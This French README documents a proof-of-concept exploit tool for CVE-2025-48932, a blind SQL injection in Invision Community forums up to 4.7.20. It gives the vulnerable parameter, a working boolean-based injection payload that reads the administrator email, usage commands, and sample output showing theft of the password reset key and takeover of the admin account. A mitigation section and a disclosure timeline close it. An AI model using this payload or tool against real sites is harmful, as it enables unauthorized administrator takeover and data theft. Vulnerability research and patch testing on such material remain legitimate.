
Preuve de concept d'exploit pour CVE-2025-48932, une injection SQL dans Invision Community <= 4.7.20. Extrait les identifiants administrateur via une injection SQL aveugle et la clé de réinitialisation de mot de passe pour une prise de contrôle de compte.
Un exploit de preuve de concept démontrant une vulnérabilité d'injection SQL dans Invision Community versions <= 4.7.20.
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
Identifiant CVE : CVE-2025-48932
Sévérité : Élevée
Score CVSS : À déterminer
Versions affectées : Invision Community versions 4.x antérieures à 4.7.21
La vulnérabilité existe dans le script /applications/calendar/modules/front/calendar/view.php. Les entrées utilisateur passées via le paramètre de requête location dans la méthode IPS\calendar\modules\front\calendar\view::search() ne sont pas correctement nettoyées avant d'être utilisées dans des requêtes SQL.
Cela permet à des attaquants distants non authentifiés de :
Prérequis pour l'exploitation :
Remarque : Alors que les vulnérabilités d'injection SQL dans Invision Community versions 4.x < 4.7.18 pouvaient conduire à une prise de contrôle du compte administrateur et à une exécution de code à distance (RCE) en réinitialisant le mot de passe administrateur, la version 4.7.18 a introduit une nouvelle clé de chiffrement de sécurité dans le mécanisme de réinitialisation de mot de passe, rendant ce vecteur d'attaque plus difficile.
Clonez le dépôt :
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Installez les dépendances :
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
L'exploit fonctionne en quatre étapes principales :
Le script récupère d'abord un jeton CSRF du site web cible, requis pour les requêtes suivantes.
En utilisant un algorithme de recherche binaire, l'exploit extrait les données caractère par caractère de la base de données :
RLIKE avec des motifs regex pour détecter les conditions vraies/faussesInterroge la table core_members pour extraire l'adresse email de l'administrateur.
Point d'injection :
location parameter → calendar/view.php → search() method
Exemple de payload :
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Technique d'exploitation : Injection SQL aveugle basée sur des booléens utilisant une recherche binaire pour une extraction efficace des données.
Mesures immédiates :
Pratiques de codage sécurisé :
Exemple de code sécurisé :
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Date | Événement |
|---|---|
| 16 mai 2025 | Fournisseur notifié |
| 27 mai 2025 | Version 4.7.21 publiée |
| 28 mai 2025 | Identifiant CVE demandé |
Développeur :
Remarque : Ceci est une implémentation indépendante basée sur les informations de vulnérabilité divulguées publiquement (CVE-2025-48932)
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request. Pour des changements majeurs, veuillez d'abord ouvrir une issue pour discuter de ce que vous souhaitez modifier.
Cet outil est distribué sous la licence MIT. En utilisant ce logiciel, vous acceptez :
Rappel : L'accès non autorisé aux systèmes informatiques est un crime dans la plupart des juridictions et peut entraîner de graves conséquences juridiques.
Si vous découvrez une vulnérabilité de sécurité, veuillez la divulguer de manière responsable au fournisseur avant de la rendre publique.
| Argument | Description | Requis |
|---|
-u, --url | URL de base d'Invision Community cible | Oui |
-v, --verbose | Activer la sortie verbose pour le débogage | Non |
-h, --help | Afficher le message d'aide et quitter | Non |
| 28 mai 2025 | CVE-2025-48932 attribué |
| 23 juillet 2025 | Divulgation publique |